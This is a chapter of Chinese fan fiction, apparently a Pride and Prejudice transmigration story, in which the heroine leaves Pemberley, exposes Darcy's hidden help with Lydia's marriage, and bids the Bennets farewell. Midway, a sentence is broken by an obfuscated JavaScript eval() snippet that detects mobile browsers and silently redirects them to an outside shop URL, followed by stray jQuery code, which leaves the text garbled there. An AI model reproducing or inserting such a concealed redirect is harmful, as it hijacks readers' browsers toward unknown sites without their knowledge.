彭伯利的餐厅内，柔和的暖烛在吊灯上跃动，为整个空间笼上一层朦胧的光晕。先前因心绪不安而产生的隔阂，已然化作彼此间的默契。
用餐至半途，达西搁下餐具，宣布了一个决定。
“乔治安娜，有一件事我需要提前告知你。明天清晨，格蕾丝小姐将先行启程离开彭伯利。她需要返回赫特福德郡一趟。”
她惊讶地抬起头，带着满脸的不解：“可是姐姐，不是说好我们要一起出发去伦敦吗？为什么你要一个人先回去呢？”
“我只是……”格蕾丝流露出一丝无措。那些原本在脑海中演练过无数次的缜密借口，在乔治安娜那毫无防备的目光注视下，显得如此苍白无力。
达西先生顺理成章地接过了话头：“乔治安娜，请不要这样毫无缘由地追问。格蕾丝在朗博恩居住的这一年来，承蒙贝内特一家诸多照顾，那里还有许多积压的私人事务需要她亲自回去料理。在那之后，我会派人去接她。”
他口中唤出的，是 “格蕾丝”。乔治安娜心思敏锐，当即发觉其中异样。
她望向兄长，昔日冷峻威严的脸此刻竟满是温柔迁就，而后又转头向一旁手足无措的格蕾丝看去。
她恍然顿悟，心照不宣地笑了起来。
“好吧，既然哥哥已经安排好一切，那我只能在伦敦的家里静静等候了。不过，格蕾丝姐姐，你一定要快点把事情处理完。再拖延下去，哥哥怕是就要沉不住气啦。”
这句玩笑话让达西先生的耳根罕见地泛起了微红。他不自在地轻咳一声，端起面前的酒杯啜饮以掩饰自己的失态。
“放心吧，我不会让你们久等的。”格蕾丝宠溺地为乔治安娜拢了拢头发。
第二天清晨，薄雾还未完全散去，空气中弥漫着泥土和青草的湿润气息。
格蕾丝换上一身适合长途旅行的深灰色长裙，肩上披着一件轻薄的羊绒披肩。她走出大门，发现管家雷诺兹太太已经早早地候在了台阶下。
这位在彭伯利效力半生，亲历达西家族两代沉浮的老妇人走上前来，牢牢地握住了格蕾丝的双手。
“格蕾丝小姐，请允许我在您临行前，为您献上一个老仆人最诚挚的祝福。无论您此行去向何方，请务必珍重自身。愿仁慈的上帝保佑您，平安地找到属于自己的真正归宿。彭伯利的大门永远为您敞开，我们都在这里等您回来。”
“谢谢您，雷诺兹太太。您的善意我将永远铭记于心。”格蕾丝深受触动，恭敬地向这位长辈行了一个礼。
达西先生今天穿了一身卡其色的常服，晨曦微光勾勒出他高大挺拔的轮廓。他默然伫立在那里，始终一言未发。
格蕾丝迎着他的目光，露出了一个坚定的笑容。随后，她在男仆的搀扶下登上了马车。
过了许久，马车终于驶入赫特福德郡那熟悉的林荫道。格蕾丝只觉一种宿命般的厚重感扑面而来。一年多前，她在一片泥泞的田野里睁开眼睛，满心惶恐与未知。而现在，她已知晓自己的身份，带着新生的感慨重返故地。
格蕾丝踏入朗博恩的门厅，还没来得及脱下披风，一阵尖锐刺耳的笑声便从客厅里传了出来。
“哦！你们快看看是谁回来了！是我们尊贵的、一直在外游山玩水的格蕾丝小姐！”
莉迪亚像一只花枝招展的孔雀般从客厅里冲了出来。她快步走到格蕾丝面前，完全无视了其旅途的疲惫，伸出自己的左手晃来晃去，只为了炫耀她无名指上那枚象征着已婚身份的戒指。
“格蕾丝，你真该来参加我在伦敦的婚礼！那是多么的体面，多么的风光！虽然我亲爱的维克汉姆先生觉得不用铺张，但我现在可是名副其实的军官夫人了！”莉迪亚的脸上洋溢着一种愚蠢的得意，仿佛她之前给整个家族带来的耻辱，只是一场无关痛痒的恶作剧。
而乔治·维克汉姆先生正悠闲地坐在一张舒适的扶手椅里，手里端着一杯热茶。他换上了一身崭新的北方正规军制服，确实让他原本英俊的相貌显得更加风度翩翩。
看到格蕾丝走进来，维克汉姆站起身虚伪地问候道：“格蕾丝小姐，多日不见，您依旧风采照人。听说您这段时间一直在德比郡的彭伯利庄园做客。能在那座宏伟的宅邸里享受一段高尚的时光，实在是令人羡慕。”
简和伊丽莎白坐在沙发另一侧，面露难色。显然在格蕾丝回来之前，她们已经被迫忍受了这对毫无廉耻的夫妇许久。
格蕾丝冷冷地注视着维克汉姆那张毫无悔意的脸，心中涌起一阵强烈的厌恶与悲哀。这个男人，真可谓是把道貌岸然发挥到了极致。
即便达西先生替他还清了所有的赌债，用一个体面的军官职位将他禁锢，他那刻在骨子里的卑劣依然没有任何改变。
由于维克汉姆的军团有严格的报到期限，这对不受欢迎的夫妇并不能久留。他们很快就登上马车，在贝内特夫人不舍的哭喊声中扬长而去。
朗博恩的客厅里重新恢复了寂静。格蕾丝转向身旁仿佛被抽空了所有力气的姐妹：“丽兹，简，请跟我来。我有非常重要的话要对你们说。”
她不由分说地牵起两人的手，将她们拉进了卧房，并谨慎地反锁上房门。
“丽兹，简，关于莉迪亚的事情，我必须告诉你们一个被掩盖的真相。这件事情，根本不是加德纳先生出面解决的。他没有那么多闲钱，也没有那么大的权势去逼迫维克汉姆就范。”
两人的脸上流露着疑惑。
“是达西先生。是他亲自在伦敦最肮脏的贫民窟里找到了他们。是他替维克汉姆还清所有的巨额赌债，买下那个军官职位，并设立信托基金。为了维护贝内特家族的体面，他将所有的功劳都推给了加德纳先生。”
“天啊……”简难以置信地跌坐在床沿上。
伊丽莎白则陷入了长久的沉默。真相已经彻底击碎了她对达西先生的所有误解。
等两位姐妹稳定情绪，格蕾丝继续说道：“还有一件事。在达西先生的帮助下，我已经查清了我的身世。”
简和伊丽莎白同时抬起头，眼中满是惊讶。
“我真正的名字，叫菲欧娜·凯利。我是爱尔兰凯利家族的女儿。我今天回来，就是为了向你们道别。我马上就要启程前往伦敦，过几天便渡海回爱尔兰。”
“这么快？”简有些不舍地握住格蕾丝的手，“爱尔兰那么远……你这一走，我们什么时候才能再见面？”
“这一走，或许没有归期了。”格蕾丝轻声说道。
伊丽莎白内心复杂地望向格蕾丝，两人的目光在昏暗的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576727|203965||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
房间里交汇。
“丽兹，”格蕾丝上前一步，蹲在伊丽莎白的身前，“关于你我之间那些难以言说的牵绊，其实都不重要了。我曾以为自己注定在此无名无分地孤苦终老，可如今我终于幡然醒悟，命运将我推到这里，自然有它的道理。”
她凝神望向伊丽莎白的双眼：“我祝福你，丽兹。我希望你能拥有最幸福圆满的归宿。我希望你的婚姻，不必屈服于对金钱的妥协，也不应受他人的逼迫，而要建立在平等的尊重与真正的爱情之上。我希望你，能够永远清醒地做你自己。”
伊丽莎白虽然听得有些懵懂，心底却生出强烈的共鸣。她忍不住热泪盈眶，紧紧地抱住了格蕾丝。
“我会的，格蕾丝……不，菲欧娜。”伊丽莎白哽咽着说道，“无论你在哪里，贝内特家永远有你的一席之地。”
“等我到了爱尔兰，安顿下来之后，我会给你们写信的。”格蕾丝轻抚着伊丽莎白的后背。
格蕾丝提着简单的行李箱，来到会客厅。贝内特夫人正坐在沙发上，手里捏着嗅盐。她依然在为莉迪亚的离去而断断续续地抽泣着。
“夫人，”格蕾丝走到贝内特夫人面前，“感谢您这一年来对我这个异乡人的收留与照料。您的慷慨，我将永志不忘。”
在全家人震惊的目光中，格蕾丝俯下身，伸出双臂，用力地拥抱了贝内特夫人。
贝内特夫人显然被这突如其来的举动吓坏了，不知所措地嘟囔着：“哦……哦，格蕾丝小姐……你太客气了……”
紧接着，格蕾丝向走廊深处那间总是紧闭着房门的屋子走去。
贝内特先生正坐在一张堆满账本的书桌后。他的神情显得疲惫不已，仿佛这场私奔风波已经彻底耗尽了他身上最后一点儿精力。
格蕾丝反手关上门，走到书桌前，直截了当地开口说道：“贝内特先生，在离开之前，有一件事我必须向您澄清。是达西先生亲自在伦敦找到了莉迪亚和维克汉姆先生，并慷慨地支付了所有的巨额费用，摆平了这场丑闻。请您不要再让加德纳先生背负这沉重的荣誉了。”
听到这个真相，贝内特先生猛地抬起头，他那张满是皱纹的脸上闪过错愕与羞愧。他的嘴唇动了动，却发不出任何声音。
格蕾丝沉默了一会，像是下定了某种决心，她知道自己以后再也不会有机会说出这些话语。
“先生，您是一位聪慧的绅士，但在这个家里，您的袖手旁观造成了太多无法挽回的遗憾。我恳求您，在未来的日子里，请多花一点时间走出这间狭小的书房，去陪伴您的妻子和女儿，教导她们什么是对错，以保护她们免受世俗的伤害。”
随后，她的语气缓和下来，带上了些许凄凉：“以后……我可能永远都见不到您了。”
他郑重地点了点头：“我明白了，凯利小姐。祝你一路平安。”
阳光斜斜地照在朗博恩门前的碎石车道上。达西先生安排的马车已经等候多时。车夫正恭敬地拉开着车门。
临走之前，格蕾丝将安妮小姐赠与她的曲谱，放在了玛丽的手里。
她不敢再回头去看不舍流泪的家人们。
直到马车渐行渐远，格蕾丝才终于忍不住从车窗里探出头，凝望了一眼隐匿于绿色橡树林中的朗博恩。